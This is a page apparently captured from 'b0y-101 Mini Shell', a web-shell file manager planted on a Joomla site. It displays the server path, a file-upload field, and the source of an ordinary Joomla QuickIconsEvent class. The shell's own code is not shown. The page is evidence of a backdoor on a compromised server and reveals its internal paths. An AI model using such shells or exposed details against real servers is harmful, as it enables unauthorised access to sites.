b0y-101 Mini Shell


Current Path : E:/www2/risk/administrator/modules/mod_quickicon/src/Event/
File Upload :
Current File : E:/www2/risk/administrator/modules/mod_quickicon/src/Event/QuickIconsEvent.php

<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  mod_quickicon
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Quickicon\Administrator\Event;

use Joomla\CMS\Event\AbstractEvent;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Event object for retrieving pluggable quick icons
 *
 * @since  4.0.0
 */
class QuickIconsEvent extends AbstractEvent
{
    /**
     * The event context
     *
     * @var    string
     * @since  4.0.0
     */
    private $context;

    /**
     * Get the event context
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function getContext()
    {
        return $this->context;
    }

    /**
     * Set the event context
     *
     * @param   string  $context  The event context
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function setContext($context)
    {
        $this->context = $context;

        return $context;
    }
}

Copyright © 2019 by b0y-101